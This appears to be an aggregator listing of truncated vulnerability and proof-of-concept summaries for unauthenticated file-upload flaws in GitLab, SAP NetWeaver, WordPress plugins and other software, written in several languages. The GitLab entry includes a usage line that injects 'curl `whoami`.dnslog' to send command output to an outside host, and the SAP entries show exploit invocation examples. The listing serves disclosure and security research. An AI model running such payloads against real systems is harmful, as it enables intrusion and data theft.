CVE-2021-22205

CVE-2021-22205 Versiones afectadas: Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 Uso root@kitploit: python3 CVE-2021-22205.py target "curl \whoami.dnslog" Obtener csrf-token: Obtenga el csrf-token a través de /users/signin y luego use el PoC CVE-2021-22205 anterior para construir...

CVE-2025-31324_PoC

CVE-2025-31324PoC 针对CVE-2025-31324的利用验证：SAP NetWeaver Visual Composer元数据上传器中的未授权上传 该脚本执行： 1. 向存在漏洞的端点上传文件（通过上传主机/端口） 2. 可选地通过HTTP GET触发（通过触发主机/端口） 3. 基本响应验证/日志记录 使用示例： python3 PoC.py --host sap.example.com --port 50000 --endpoint /irj/portal/sap/bc/webdynpro/sap/ZWDCMETADATAUPLDR --file...

CVE-2024-29399

CVE-2024-29399 脆弱性の詳細 概要 Savane v3.13 以前では、アップロードされたファイルの検証が欠如しているため、権限昇格が可能になる可能性があります。インストール手順に従って設定された Web サーバーは、クロスサイトスクリプティング XSS に対して脆弱です。誤って設定された Web サーバーでは、これによりリモートコード実行 RCE が発生する可能性があります。 CWE 分類: CWE-434: 危険なタイプのファイルのアップロード制限の欠如 報告者: Ally Petitt 影響を受ける製品 : Savane 影響を受けるバージョン : 3.13 以前...

Langflow < 1.9.1 - Unauthenticated File Upload

Langflow 1.9.1 contains an unrestricted file upload caused by lack of upload limitations, letting unauthenticated attackers exhaust server space and leak absolute file paths, exploit requires network access. id: CVE-2026-55450 info: name: Langflow 1.9.1 - Unauthenticated File Upload author: xtr0n...

Realtyna Organic IDX/WPL <= 5.2.0 - Unauthenticated Arbitrary File Upload

Realtyna Organic IDX plugin + WPL Real Estate plugin for WordPress = 5.2.0 contains an unrestricted file upload vulnerability caused by missing file type validation and static API credentials, letting unauthenticated attackers upload executable files and achieve remote code execution, exploit...

CVE-2025-31324_PoC_SAP

CVE-2025-31324PoC 针对CVE-2025-31324的概念验证：SAP NetWeaver Visual Composer Metadata Uploader中的未认证上传 此脚本执行以下操作： 1. 通过上传主机/端口将文件上传到易受攻击的端点 2. 通过HTTP GET触发（通过触发主机/端口） 3. 基本响应验证/日志记录 使用示例： python3 PoC.py --host sap.example.com --port 50000 --endpoint /irj/portal/sap/bc/webdynpro/sap/ZWDCMETADATAUPLDR...

Kaseya VSA < 9.5.7 - Arbitrary File Upload to Remote Code Execution

An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management RMM 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leadin...

Form-Maker < 1.15.20 - Unauthenticated Arbitrary File Upload

The plugin does not validate signatures when creating them on the server from user input, allowing unauthenticated users to create arbitrary files and lead to RCE. id: CVE-2023-4666 info: name: Form-Maker 1.15.20 - Unauthenticated Arbitrary File Upload author: pussycat0x severity: critical...

Canto <= 3.1.1 - Missing Authorization to Unauthenticated File Upload

The Canto plugin for WordPress is vulnerable to missing authorization in the copy-media.php upload flow. The file is directly accessible and accepts attacker-controlled parameters for the upload destination, allowing unauthenticated users to upload arbitrary files constrained to WordPress-allowed...

Balbooa Forms < 2.4.1 - Unauthenticated Arbitrary File Upload

Joomla Balbooa Forms contains an unrestricted file upload vulnerability caused by lack of authentication checks, letting unauthenticated attackers upload executable files and achieve remote code execution. id: CVE-2026-56291 info: name: Balbooa Forms 2.4.1 - Unauthenticated Arbitrary File Upload...

CVE-2026-84750

The Ultra Addons for Contact Form 7 WordPress plugin before 3.5.51 does not validate the type or extension of files uploaded through one of its form fields, and stores them at a predictable public path with the attacker-chosen extension intact, allowing unauthenticated users to upload arbitrary...

Monsta FTP <= 2.11.2 - Unauthenticated Remote Code Execution

Monsta FTP = 2.11 contains an unrestricted file upload vulnerability caused by lack of authentication on file uploads, letting unauthenticated attackers execute arbitrary code by uploading crafted files. id: CVE-2025-34299 info: name: Monsta FTP = 2.11.2 - Unauthenticated Remote Code Execution...

CiscoISE-CVE-2025-20282-POC

Cisco ISE CVE 2025-20282 Prueba de concepto Informe: https://riversecurity.eu/like-stealing-cisco-ise-cream-from-a-kid-weaponizing-a-cve/ El script de Python abusa de la función de subida disponible sin autenticación en /admin/files-upload/ El script crea localmente una carpeta bin y un archivo...

hdwebmobile-photo-video-reviews

HDWebmobile 照片与视频评论 一款 WooCommerce 插件，允许客户在产品评论中附加照片和短视频，并直接显示在产品页面的评论列表中。 WordPress.org： https://wordpress.org/plugins/hdwebmobile-photo-video-reviews/ （等待首次提交） 要求： WordPress 6.9+、WooCommerce、PHP 7.4+ 许可证： GPLv2 或更高版本 此插件存在的原因 一款竞品“Customer Reviews for WooCommerce”插件附带了一个独立的 AJAX...

Blueimp jQuery-File-Upload v9.22.0 - Unrestricted File Upload

Blueimp jQuery-File-Upload v9.22.0 contains an unauthenticated arbitrary file upload caused by insufficient validation in the upload component, letting remote attackers upload malicious files, exploit requires no authentication. id: CVE-2018-9206 info: name: Blueimp jQuery-File-Upload v9.22.0 -...

CVE-2026-57581

DotVVM is an open source MVVM framework for web applications. Prior to 4.2.11, 4.3.15, and 5.0.0-preview09-final, applications with configured file upload storage allow unauthenticated users to submit files directly to DotvvmFileUploadMiddleware without an X-DotVVM-UploadToken generated by the...

CVE-2026-63219

CVE-2026-63219 (CVSS 8.6) is a missing authorization check on the GeoNetwork formatter upload API endpoint, affecting versions prior to 4.4.12 and 4.2.17 . An unauthenticated attacker can upload arbitrary .xsl or .zip files into the server formatter directory, granting unauthorized write access. ...

CVE-2026-82472

Documenso before 2.13.0 accepts PDF file uploads on the /api/files/upload-pdf endpoint without requiring authentication, session tokens, or API credentials. Unauthenticated attackers can upload arbitrary PDF files indefinitely to exhaust storage resources or fill the database with unlinked docume...

EUVD-2026-68128

Documenso before 2.13.0 accepts PDF file uploads on the /api/files/upload-pdf endpoint without requiring authentication, session tokens, or API credentials. Unauthenticated attackers can upload arbitrary PDF files indefinitely to exhaust storage resources or fill the database with unlinked docume...

CVE-2026-12514

The Shared Files WordPress plugin before 1.7.67, shared-files-pro WordPress plugin before 1.7.70 do not perform a capability check in their file-upload handler, which is registered for unauthenticated users and protected only by a nonce that is output on public pages, so an unauthenticated visito...